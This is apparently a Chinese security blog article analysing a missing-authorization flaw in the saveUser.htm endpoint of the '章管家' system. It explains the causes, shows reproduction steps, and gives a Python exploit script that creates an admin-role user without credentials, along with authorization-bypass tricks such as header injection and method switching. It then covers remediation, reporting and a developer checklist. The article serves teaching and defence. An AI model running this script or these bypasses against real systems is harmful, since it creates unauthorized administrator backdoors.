未授权访问漏洞深度剖析:从saveUser.htm接口看权限校验缺失

发布时间:2026/6/25 13:34:52
未授权访问漏洞深度剖析:从saveUser.htm接口看权限校验缺失 1. 项目概述一次典型的未授权访问漏洞深度剖析最近在梳理一些企业级应用的安全审计案例时遇到了一个非常典型的漏洞场景它涉及到一个名为“章管家”的办公协同或设备管理类系统。这个漏洞的入口点是一个名为saveUser.htm的接口其核心问题在于未对用户创建操作进行充分的权限校验导致攻击者可以在未登录或低权限的情况下直接调用该接口创建任意用户甚至是管理员账户。这类漏洞在安全圈内通常被称为“未授权访问漏洞”或“权限绕过漏洞”其危害性极高因为它直接绕过了系统的身份认证和授权机制为攻击者打开了后门。简单来说saveUser.htm这个页面或接口从其命名上就能猜到它的设计初衷是用于保存或创建用户信息。在一个设计良好的系统中这类涉及核心数据用户增删改的操作必须经过严格的权限控制例如检查当前会话用户是否具有“用户管理”或“系统管理员”角色。然而在这个案例中开发者可能遗漏了这层校验或者校验逻辑存在缺陷例如仅在前端通过JavaScript验证后端未做二次校验使得该接口直接暴露在了未受保护的网络请求之下。对于安全研究人员、渗透测试工程师或企业内部的运维安全人员而言复现此类漏洞具有多重意义。首先它是验证系统是否存在高危风险最直接的证据。其次通过复现过程我们可以深入理解漏洞产生的根本原因是代码逻辑错误、配置失误还是架构设计缺陷。最后完整的复现报告能为开发团队提供清晰的修复指引推动安全左移从源头避免类似问题。接下来我将以一个从业者的视角详细拆解这个漏洞的发现、分析与复现全过程并分享其中的关键技巧和避坑指南。2. 漏洞原理与攻击面深度解析2.1 接口功能与预期行为分析要理解漏洞必须先理解正常流程。在一个标准的用户管理模块中新增用户的流程通常是这样的认证管理员用户成功登录系统服务器为其创建了一个有效的会话Session或颁发了令牌Token。授权当管理员访问“用户管理”页面时前端或后端会校验其角色权限确认其拥有创建用户的权限。请求管理员在表单中填写新用户的信息如用户名、密码、角色等点击“保存”按钮。后端处理前端将表单数据通过POST请求发送到类似/admin/user/saveUser.htm的接口。关键步骤来了后端接口在处理请求前必须执行以下校验会话校验检查请求中是否携带了有效的会话ID或Token确认用户已登录。权限校验根据会话信息查询当前用户的角色或权限列表判断其是否包含“创建用户”的权限点。数据校验对接收到的用户名、密码强度、邮箱格式等进行合法性检查。业务逻辑检查用户名是否已存在等。响应只有所有校验通过后端才会执行数据库插入操作并返回成功响应否则返回具体的错误信息如“未登录”、“权限不足”。saveUser.htm漏洞的核心就在于上述流程的第4步——会话校验和权限校验环节缺失或失效。攻击者无需完成步骤1和2可以直接跳到步骤3和4模拟一个创建用户的请求而系统后端“误以为”这个请求来自已授权的管理员从而执行了创建操作。2.2 漏洞产生的常见根源根据经验这类漏洞的产生通常源于以下几种开发中的疏忽鉴权中间件配置遗漏这是最常见的原因。在现代Web框架如Spring MVC, Flask, Express中通常会使用拦截器、过滤器或中间件来统一处理认证和授权。开发者可能为/admin/*路径配置了鉴权但saveUser.htm这个特定的接口URL可能因为路径规则匹配问题例如.htm后缀未被包含在拦截路径中、或者该接口被错误地放置在了无需鉴权的公共控制器下导致它“漏网”了。前端依赖型安全开发者错误地认为只要前端页面如userManage.html是通过鉴权后才能访问的那么页面内的所有Ajax请求包括调用saveUser.htm自然也是安全的。他们可能只在渲染页面时检查权限但没有在接收API请求的服务器端代码中重复这一检查。攻击者完全可以绕过前端页面直接构造HTTP请求发给后端接口。权限校验逻辑缺陷代码中确实存在权限检查但逻辑有误。例如检查的是“用户角色是否为管理员”但判断条件写成了if (userRole ! null)而不是if (userRole.equals(admin))导致任何登录用户甚至带有空角色的用户都能通过校验。对HTTP方法的混淆错误地认为只有通过POST表单提交的数据才需要校验而忽略了GET、PUT等其他方法。或者在修复时只加固了POST方法但saveUser.htm可能还支持GET请求创建用户虽然不合理但确实存在导致漏洞依然存在。注意在安全测试中我们绝不能仅因为一个接口以.htm结尾就认为它是页面而不是API。很多老旧系统或特定框架下动态逻辑就是通过.htm、.do、.action这样的后缀来处理的。关键在于分析其实际接收和响应数据的格式通常是JSON或表单数据。2.3 攻击影响范围评估成功利用此漏洞攻击者可以实现以下一种或多种影响创建普通用户获得一个合法的系统账户可用于登录系统访问其普通用户权限内的功能和数据实现初步的权限提升。创建管理员用户如果接口参数中允许指定用户角色如roleadmin或者默认创建的用户就拥有高权限那么攻击者可以直接获得系统最高控制权。信息泄露在创建用户前后接口的响应信息中可能包含其他敏感信息如系统内部用户ID、其他用户的用户名清单等。作为跳板新增的用户账户可以作为攻击者维持持久化访问的“后门账号”即使原始漏洞被修复这个账号可能依然存在。拒绝服务理论上攻击者可以无限循环调用该接口创建大量垃圾用户耗尽系统存储空间或导致用户表锁死影响正常业务。3. 漏洞复现环境搭建与侦查3.1 测试环境准备在真正对目标系统进行测试之前强烈建议在本地或隔离的测试环境中进行复现。这是安全研究的伦理和法律底线。获取目标系统你需要一个存在漏洞的“章管家”系统实例。这可能是官方演示站点部分厂商会提供在线演示环境但未经授权对其测试是违法的。历史版本安装包从合法渠道获取该软件的某个历史版本安装包例如漏洞被公开时对应的版本。漏洞靶场一些开源漏洞靶场如 Vulhub, DVWA 的变体或自己搭建的测试环境。虚拟机快照如果你有之前保存的含有该系统的虚拟机快照是最佳选择。部署系统按照官方文档或常规方法在虚拟机如VMware, VirtualBox中部署该系统。记录下访问地址例如http://192.168.1.100:8080。准备测试工具浏览器及开发者工具Chrome或Firefox用于手动测试和抓包分析。代理工具Burp Suite 或 OWASP ZAP。这是核心工具用于拦截、查看、重放和修改HTTP请求。命令行工具curl或httpie用于快速发送请求和脚本化测试。目录/接口扫描工具如dirsearch,gobuster或ffuf用于发现潜在的类似未授权接口。3.2 信息收集与接口发现在不确定saveUser.htm确切路径的情况下我们需要进行侦查。常规访问首先正常访问系统首页尝试登录。观察URL规律。例如如果登录页面是login.htm用户列表页面是userList.htm那么saveUser.htm很可能存在于同一目录下如/admin/user/saveUser.htm或/system/user/saveUser.htm。使用开发者工具登录系统后打开浏览器的开发者工具F12切换到Network网络面板。在用户管理页面尝试进行一次正常的“添加用户”操作。在网络面板中你会看到浏览器发出的所有请求。寻找一个在点击“保存”按钮后发出的、可能包含“saveUser”关键词的POST请求。记录下它的完整URL、请求方法、请求头特别是Cookie或Authorization头以及请求体通常是表单数据或JSON。主动扫描谨慎使用 如果无法通过正常操作触发可以考虑使用扫描工具搭配一个常见的字典文件对目标域名进行路径爆破。字典应包含诸如/saveUser.htm,/admin/saveUser.htm,/user/save.htm,/addUser.do等常见命名。# 使用 ffuf 进行示例扫描 ffuf -w /path/to/wordlist.txt -u http://TARGET/FUZZ -mc 200,302,403重要提示仅对你有权测试的系统进行扫描。盲目扫描他人系统属于违法行为。分析请求包通过Burp Suite拦截到的正常创建用户请求包可能如下所示POST /admin/user/saveUser.htm HTTP/1.1 Host: target.com Cookie: JSESSIONIDABCDEF1234567890 Content-Type: application/x-www-form-urlencoded usernamenewadminpasswordAdmin123realNameTestroleId1deptId2actionsave这个请求包是我们的“黄金样本”。我们需要关注URL路径、必要的请求头Cookie是会话凭证、以及请求体的参数结构。4. 漏洞验证与复现实操4.1 手动复现步骤手动复现能让你最清晰地理解漏洞触发的每个环节。我们假设已经通过正常流程抓取到了合法的请求包。启动代理并配置打开Burp Suite确保代理监听正确默认127.0.0.1:8080。将浏览器代理配置指向Burp。拦截并修改请求在浏览器中退出登录或者直接打开一个无痕窗口确保当前没有任何活跃的会话。在Burp Suite的Proxy - Intercept标签页确保拦截是开启的Intercept is on。在浏览器地址栏直接访问http://target.com/admin/user/saveUser.htm如果已知路径。或者使用curl或 Burp 的Repeater模块直接发送请求。更常见的方法是在Burp的Proxy - HTTP history中找到之前抓到的那个正常的saveUser.htmPOST请求右键选择Send to Repeater。关键操作剥离会话凭证在Repeater标签页中你会看到完整的请求。漏洞验证的核心步骤就是删除或篡改认证信息。删除Cookie头找到Cookie: JSESSIONID...这一行将其整行删除。篡改Token如果请求头中有Authorization: Bearer ...或请求体中有token...参数将其删除或改为一个随机无效值。清空会话确保请求中不包含任何能标识已登录用户的信息。发送请求并观察响应点击Send按钮发送这个被“剥离”了身份的请求。观察右侧的响应面板。重点关注HTTP状态码如果返回200 OK或302 Found重定向到成功页面这是一个危险信号。响应内容如果响应体中包含“操作成功”、“用户创建成功”或返回了新用户的ID等信息那么漏洞几乎可以确定存在。错误信息如果返回401 Unauthorized、403 Forbidden或明确的“未登录”提示则说明接口有鉴权需要进一步测试鉴权逻辑是否可绕过。如果返回404 Not Found说明路径不对。验证创建结果如果上一步响应提示成功尝试用你提交的username和password去登录系统。查看系统的用户管理列表看是否出现了新创建的用户。如果创建时指定了管理员角色如roleId1尝试用新账号登录并查看其权限。4.2 使用脚本自动化复现对于需要批量测试或集成到自动化工具链的情况可以编写简单的Python脚本。import requests import sys def exploit_saveuser(target_url, new_user, new_pass): 尝试利用未授权的 saveUser.htm 漏洞创建用户 # 假设的漏洞接口路径需要根据实际情况修改 vuln_url f{target_url.rstrip(/)}/admin/user/saveUser.htm # 构造请求数据参数名需要根据实际抓包确定 data { username: new_user, password: new_pass, realName: Exploit User, roleId: 1, # 尝试赋予管理员角色 deptId: 1, action: save } # 关键请求头中不包含任何Cookie或Authorization headers { User-Agent: Mozilla/5.0 (Security Test), Content-Type: application/x-www-form-urlencoded, } try: print(f[*] 尝试向 {vuln_url} 发送未授权请求...) response requests.post(vuln_url, datadata, headersheaders, timeout10, verifyFalse) # verifyFalse 仅用于测试环境忽略SSL证书警告 print(f[*] 状态码: {response.status_code}) print(f[*] 响应长度: {len(response.text)}) print(f[*] 响应预览: {response.text[:200]}...) # 打印前200字符 # 简单的成功判断逻辑需要根据实际响应调整 if response.status_code 200 and (success in response.text.lower() or 操作成功 in response.text): print(f[] 漏洞可能存在已尝试创建用户: {new_user}) # 可以进一步尝试登录验证 # login_url f{target_url}/login.htm # login_data {username: new_user, password: new_pass} # login_resp requests.post(login_url, datalogin_data, headersheaders, timeout10, verifyFalse) # if 登录成功 in login_resp.text: # print(f[] 用户 {new_user} 登录成功漏洞确认) else: print([-] 请求未返回明确成功标志可能不存在漏洞或参数不正确。) except requests.exceptions.RequestException as e: print(f[-] 请求失败: {e}) if __name__ __main__: if len(sys.argv) ! 4: print(f用法: {sys.argv[0]} 目标基础URL 新用户名 新密码) print(f示例: {sys.argv[0]} http://192.168.1.100:8080 testadmin Pssw0rd123) sys.exit(1) target sys.argv[1] username sys.argv[2] password sys.argv[3] exploit_saveuser(target, username, password)脚本使用说明将上述代码保存为exploit_saveuser.py。安装Python的requests库pip install requests。运行脚本传入目标URL、想要创建的用户名和密码。脚本会发送一个不带会话信息的POST请求并根据响应内容给出初步判断。重要脚本中的接口路径 (/admin/user/saveUser.htm) 和请求参数 (username,password,roleId等)必须根据你实际抓包分析的结果进行修改否则请求无效。4.3 绕过技巧的进一步探索如果直接删除Cookie的请求返回了403并不代表绝对安全可能需要尝试一些绕过技巧路径遍历/别名绕过尝试不同的路径如/admin/../user/saveUser.htm(归一化后可能变成/user/saveUser.htm)或者/admin/user/saveUser(无后缀)/admin/user/saveUser.do/api/saveUser等。HTTP方法混淆将POST改为GET、PUT、DELETE等有时权限校验只针对特定方法。请求头注入添加或修改一些特殊的HTTP头如X-Forwarded-For: 127.0.0.1,X-Original-URL: /admin/user/saveUser.htm某些反向代理配置可能根据这些头进行内部路由从而绕过前端的权限检查。参数污染同时提交多个相同参数名的参数如roleId1roleId2后端处理逻辑混乱可能导致校验失效。JSON/XML格式切换如果正常请求是表单格式 (application/x-www-form-urlencoded)尝试改为JSON格式 (application/json) 发送反之亦然。后端的解析器和权限校验器可能不是同一个。这些操作都可以在Burp Suite的Repeater或Intruder模块中方便地进行测试。5. 漏洞修复建议与安全开发实践复现漏洞的最终目的是为了修复和预防。作为开发或安全人员需要从多个层面给出加固方案。5.1 紧急临时修复措施如果线上系统发现此漏洞需要立即采取临时措施以阻断攻击WAF/网关规则在Web应用防火墙WAF或API网关上添加一条规则对访问/admin/user/saveUser.htm路径的请求进行严格的来源IP限制只允许管理后台服务器IP访问或强制进行身份验证。服务器层面拦截在Nginx或Apache配置中对该URL路径 location 添加访问控制例如使用allow和deny指令限制IP或通过auth_basic增加一层额外的HTTP基础认证。应用层临时补丁如果可以直接修改代码以最快的方式在saveUser.htm对应的控制器方法开头添加一段强制的权限校验代码例如// Java Spring Boot 示例 PostMapping(/admin/user/saveUser.htm) public ResponseEntity saveUser(RequestBody UserDto user, HttpSession session) { // 临时加固检查session中是否存在管理员标识 Object adminAttr session.getAttribute(isAdmin); if (adminAttr null || !Boolean.TRUE.equals(adminAttr)) { return ResponseEntity.status(403).body(Access Denied); } // ... 原有的业务逻辑 ... }5.2 根本性修复方案临时措施治标不治本必须从代码层面进行根本修复实施统一的认证授权中间件这是最重要的原则。不要在每一个业务接口里重复写权限校验代码。应该使用框架提供的拦截器、过滤器或AOP面向切面编程。Spring Security (Java): 通过配置HttpSecurity来保护URL模式。Configuration EnableWebSecurity public class SecurityConfig extends WebSecurityConfigurerAdapter { Override protected void configure(HttpSecurity http) throws Exception { http .authorizeRequests() .antMatchers(/admin/**).hasRole(ADMIN) // 保护所有/admin/下的路径 .antMatchers(/api/user/save).hasAuthority(USER_WRITE) // 基于权限点保护 .anyRequest().authenticated() .and() .formLogin().permitAll(); } }Express middleware (Node.js): 编写一个认证中间件应用到所有需要保护的路由上。function authMiddleware(req, res, next) { if (!req.session.user || req.session.user.role ! admin) { return res.status(403).send(Forbidden); } next(); } app.post(/admin/user/saveUser.htm, authMiddleware, saveUserHandler);遵循最小权限原则给功能分配具体的权限点Permission而不是简单的角色Role判断。例如创建用户需要user:create权限修改用户需要user:update权限。在接口中校验用户是否拥有该特定权限点。前后端分离架构的Token校验对于前端Vue/React调用后端API的模式务必使用JWT等Token机制。后端API对每一个请求都需要验证Token的有效性和其中包含的权限声明绝不能依赖前端路由守卫作为唯一的安全屏障。对敏感操作进行日志审计所有用户创建、删除、权限变更等操作必须记录详细的操作日志包括操作者、时间、IP、操作内容等便于事后追溯和审计。定期进行代码安全审计与渗透测试将安全测试SAST/DAST纳入开发流程定期邀请专业安全人员或使用自动化工具对系统进行渗透测试主动发现此类逻辑漏洞。5.3 安全开发自查清单开发人员在编写类似功能时可以对照以下清单进行自查[ ] 该接口是否被包含在统一的权限控制路径下如/api/,/admin/[ ] 接口方法上是否显式添加了权限注解如PreAuthorize(hasRole(ADMIN))[ ] 是否在代码逻辑开始处校验了当前用户的会话/Token[ ] 是否校验了用户是否拥有执行此操作的具体权限点[ ] 前端页面的隐藏/禁用是否只是用户体验优化后端有对应的校验[ ] 是否对输入参数特别是角色ID、部门ID进行了合法性校验防止越权赋值[ ] 操作日志是否已记录6. 漏洞复现报告撰写与沟通要点复现完成后一份清晰、专业的报告是推动问题解决的关键。报告结构漏洞标题清晰明了如“章管家系统 saveUser.htm 接口未授权访问漏洞”。风险等级通常定为“高危”或“严重”。影响版本明确受影响的软件版本号。漏洞描述简要说明漏洞是什么危害在哪里。复现步骤这是核心。提供详细、可操作的步骤就像本篇文章的前半部分一样。最好附上截图请求/响应包。请求/响应示例提供原始的HTTP请求和响应数据可脱敏关键信息。漏洞原理分析简要分析代码层面或设计层面可能的原因。修复建议提供具体的、可实施的修复方案如5.2节所述。附录可附上用于验证的POC脚本。沟通技巧对事不对人聚焦在漏洞本身和系统风险上避免指责开发人员。用数据说话提供完整的HTTP流量截图、录屏或脚本输出让证据无可辩驳。提供解决方案不要只抛问题。给出明确的修复建议甚至代码示例能极大降低开发团队的修复成本也更受欢迎。说明危害场景用业务语言描述漏洞被利用后可能造成的实际业务影响如“攻击者可创建管理员账号查看所有客户数据导致数据泄露合规风险”。跟进与协助修复完成后主动提出协助进行回归测试验证漏洞是否已彻底修复。7. 从“章管家”案例延伸的通用安全思考saveUser.htm漏洞绝非个例它是一类广泛存在的Web安全问题的缩影。通过这个案例我们可以提炼出一些通用的安全防护心得第一永远不要信任客户端。这是Web安全的铁律。前端的一切验证JavaScript校验、隐藏字段、禁用按钮都只能提升用户体验绝不能作为安全依据。所有涉及业务逻辑、数据访问和权限判断的校验必须在服务器端严格执行。第二默认拒绝原则。在设计和开发时安全策略应该是“默认拒绝所有显式允许所需”。也就是说所有接口默认都是不可访问的只有经过显式配置和声明的接口才对认证授权的用户开放。而不是反过来先全部开放再一个个去修补漏洞。第三权限校验要“贴身”。权限检查的代码应该尽可能靠近业务逻辑的入口。在Spring中使用PreAuthorize注解在方法上在中间件中在路由处理函数的第一行进行校验。避免在复杂的业务逻辑深处才做校验容易被绕过。第四接口设计应遵循RESTful规范与最小信息暴露。虽然RESTful不是银弹但清晰的接口命名如POST /api/v1/users和HTTP方法使用GET获取POST创建PUT更新DELETE删除有助于减少歧义。同时接口的响应信息应经过过滤避免在错误信息中泄露系统内部路径、数据库结构或堆栈跟踪。第五自动化工具是帮手不是大脑。像Burp Suite、SQLmap这样的自动化扫描工具非常强大但它们无法理解业务逻辑。这个saveUser.htm漏洞自动化扫描器可能只会报告“发现一个htm页面”而不会理解这个页面背后的“创建用户”逻辑。真正的深度测试离不开测试人员对业务流的理解、对代码的审计白盒/灰盒和手动的逻辑推理。最后安全是一个持续的过程而非一劳永逸的状态。每一次漏洞的复现与修复都是对系统防御能力的一次加固也是对开发团队安全意识的一次提升。保持好奇心多问一句“如果我不按正常流程走会怎样”你就能发现更多隐藏在常规之下的风险。